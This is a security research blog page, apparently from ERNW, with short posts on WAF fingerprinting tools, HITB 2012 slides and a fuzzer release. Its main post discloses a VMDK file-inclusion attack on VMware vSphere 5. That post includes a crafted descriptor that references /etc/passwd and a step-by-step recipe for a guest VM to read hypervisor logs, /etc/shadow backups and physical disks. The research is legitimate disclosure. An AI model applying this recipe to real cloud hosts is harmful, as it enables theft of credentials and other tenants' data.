If unsure whether a WAF is in place or not, it is advisable to first verify its existence with some fingerprinting tools. One of them is wafw00f which supports many different vendors. Another tool is tsakwaf, which supports less vendors but includes additional features for WAF circumvention like encoding capabilities for test signatures, that might be useful for SQL injection testing, when a WAF is in place.

… to be continued …

Have a great day and enjoy trying 🙂
Michael, Timo and Frank from the Appsec Team

Continue reading
Breaking, Events

VMDK Has Left the Building – Slides available

A quick update on the workshop we’ve just finished at Hack in the Box 2012 Amsterdam:
Due to popular demand we decided to bring the slides online without wasting any more time. The official website of the conference is currently experiencing some problems due to high interest in all the stuff what was released in the last two days. Great conference!

Here you go: HITB2012AMS ERNW VMDK Has Left the Building [PDF, 6MB, link fixed]

Enjoy and feel free to express your thoughts in the comments.

Best greetings from Amsterdam,
Florian & the crew

Continue reading
Breaking

VMDK Has Left the Building — Some Nasty Attacks Against VMware vSphere 5 Based Cloud Infrastructures

Update #1: Slides are available for download here.

In the course of our ongoing cloud security research, we’re continuously thinking about potential attack vectors against public cloud infrastructures. Approaching this enumeration from an external customer’s (speak: attacker’s 😉 ) perspective, there are the following possibilities to communicate with and thus send malicious input to typical cloud infrastructures:

  • Management interfaces
  • Guest/hypervisor interaction
  • Network communication
  • File uploads

As there are already several successful exploits against management interfaces (e.g. here and here) and guest/hypervisor interaction (see for example this one; yes, this is the funny one with that ridiculous recommendation “Do not allow untrusted users access to your virtual machines.” ;-)), we’re focusing on the upload of files to cloud infrastructures in this post. According to our experience with major Infrastructure-as-a-Service (IaaS) cloud providers, the most relevant file upload possibility is the deployment of already existing virtual machines to the provided cloud infrastructure. However, since a quick additional research shows that most of those allow the upload of VMware-based virtual machines and, to the best of our knowledge, the VMware virtualization file format was not analyzed as for potential vulnerabilities yet, we want to provide an analysis of the relevant file types and present resulting attack vectors.

As there are a lot of VMware related file types, a typical virtual machine upload functionality comprises at least two file types:

  • VMX
  • VMDK

The VMX file is the configuration file for the characteristics of the virtual machine, such as included devices, names, or network interfaces. VMDK files specify the hard disk of a virtual machine and mainly contain two types of files: The descriptor file, which describes the specific setup of the actual disk file, and several disk files containing the actual file system for the virtual machine. The following listing shows a sample VMDK descriptor file:


# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=a5c61889
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"
# Extent description
RW 33554432 VMFS "machine-flat01.vmdk"
RW 33554432 VMFS "machine-flat02.vmdk"
[...]

For this post, it is of particular importance that the inclusion of the actual disk file containing the raw device data allows the inclusion of multiple files or devices (in the listing, the so-called “Extent description”). The deployment of these files into a (public) cloud/virtualized environment can be broken down into several steps:

  1. Upload to the cloud environment: e.g. by using FTP, web interfaces, $WEB_SERVICE_API (such as the Amazon SOAP API, which admittedly does not allow the upload of virtual machines at the moment).
  2. Move to the data store: The uploaded virtual machine must be moved to the data store, which is typically some kind of back end storage system/SAN where shares can be attached to hypervisors and guests.
  3. Deployment on the hypervisor (“starting the virtual machine”): This can include an additional step of “cloning” the virtual machine from the back end storage system to local hypervisor hard drives.

To analyze this process more thoroughly, we built a small lab based on VMware vSphere 5 including

  • an ESXi5 hypervisor,
  • NFS-based storage, and
  • vCenter,

everything fully patched as of 2012/05/24. The deployment process we used was based on common practices we know from different customer projects: The virtual machine was copied to the storage, which is accessible from the hypervisor, and was deployed on the ESXi5 using the vmware-cmd utility utilizing the VMware API. Thinking about actual attacks in this environment, two main approaches come to mind:

  • Fuzzing attacks: Given ERNW’s long tradition in the area of fuzzing, this seems to be a viable option. Still this is not in scope of this post, but we’ll lay out some things tomorrow in our workshop at #HITB2012AMS.
  • File Inclusion Attacks.

Focusing on the latter, the descriptor file (see above) contains several fields which are worth a closer look. Even though the specification of the VMDK descriptor file will not be discussed here in detail, the most important field for this post is the so-called Extent Description. The extent descriptions basically contain paths to the actual raw disk files containing the file system of the virtual machine and were included in the listing above.

The most obvious idea is to change the path to the actual disk file to another path, somewhere in the ESX file system, like the good ol’ /etc/passwd:


# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=a5c61889
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"
# Extent description
RW 33554432 VMFS "machine-flat01.vmdk"
RW 0 VMFSRAW "/etc/passwd"

Unfortunately, this does not seem to work and results in an error message as the next screenshot shows:

As we are highly convinced that a healthy dose of perseverance (not to say stubbornness 😉 ) is part of any hackers/pentesters attributes, we gave it several other tries. As the file to be included was a raw disk file, we focused on files in binary formats. After some enumeration, we were actually able to include gzip-compressed log files. Since we are now able to access files included in the VMDK files inside the guest virtual machine, this must be clearly stated: We have/can get access to the log files of the ESX hypervisor by deploying a guest virtual machine – a very nice first step! Including further compressed log files, we also included the /bootbank/state.tgz file. This file contains a complete backup of the /etc directory of the hypervisor, including e.g. /etc/shadow – once again, this inclusion was possible from a GUEST machine! As the following screenshot visualizes, the necessary steps to include files from the ESXi5 host include the creation of a loopback device which points to the actual file location (since it is part of the overall VMDK file) and extracting the contents of this loopback device:

The screenshot also shows how it is possible to access information which is clearly belonging to the ESXi5 host from within the guest system. Even though this allows a whole bunch of possible attacks, coming back to the original inclusion of raw disk files, the physical hard drives of the hypervisor qualify as a very interesting target. A look at the device files of the hypervisor (see next screenshot) reveals that the device names are generated in a not-easily-guessable-way:

Using this knowledge we gathered from the hypervisor (this is heavily noted at this point, we’re relying on knowledge that we gathered from our administrative hypervisor access), it was also possible to include the physical hard drives of the hypervisor. Even though we needed additional knowledge for this inclusion, the sheer fact that it is possible for a GUEST virtual machine to access the physical hard drives of the hypervisor is a pretty big deal! As you still might have our stubbornness in mind, it is obvious that we needed to make this inclusion work without knowledge about the hypervisor. Thus let’s provide you with a way to access to any data in a vSphere based cloud environment without further knowledge:

  1. Ensure that the following requirements are met:
    • ESXi5 hypervisor in use (we’re still researching how to port these vulnerabilities to ESX4)
    • Deployment of externally provided (in our case, speak: malicious 😉 ) VMDK files is possible
    • The cloud provider performs the deployment using the VMware API (e.g. in combination with external storage, which is, as laid out above, a common practice) without further sanitization/input validation/VMDK rewriting.
  2. Deploy a virtual machine referencing /scratch/log/hostd.0.gz
  3. Access the included /scratch/log/hostd.0.gz within the guest system and grep for ESXi5 device names 😉
  4. Deploy another virtual machine referencing the extracted device names
  5. Enjoy access to all physical hard drives of the hypervisor 😉

It must be noted that the hypervisor hard drives contain the so-called VMFS, which cannot be easily mounted within e.g. a Linux guest machines, but it can be parsed for data, accessed using VMware specific tools, or exported to be mounted on another hypervisor under our own administrative control.

Summarizing the most relevant and devastating message in short:

VMware vSphere 5 based IaaS cloud environments potentially contain possibilities to access other customers’ data…

We’ll conduct some “testing in the field” in the upcoming weeks and get back to you with the results in a whitepaper to be found on this blog. In any case this type of attacks might provide yet-another path for accessing other tenants’ data in multi-tenant environments, even though more research work is needed here. If you have the opportunity you might join our workshop at #HITB2012AMS.

Have a great day,

Pascal, Enno, Matthias, Daniel

Continue reading
Breaking

Releasing dizzy version 0.6

Hi @all,
today im releasing a new version of our famous fuzzing framework, dizzy. The version counts 0.6 by now and youll get some brand new features!

see the CHANGELOG:
v0.6:
– ssl support
– server side fuzzing mode
– command output
– new dizz funktions: lambda_length, csum, lambda_csum, lambda2_csum
– recursive mutation mode
– new dizz objects: fill
– new interaction objects: null_dizz
– reconnect option
– additional fuzzing values

find the sources here (90397f9ec11c8ec3db7f14cb4d38dd39e30f9791)

cheers

/daniel

Continue reading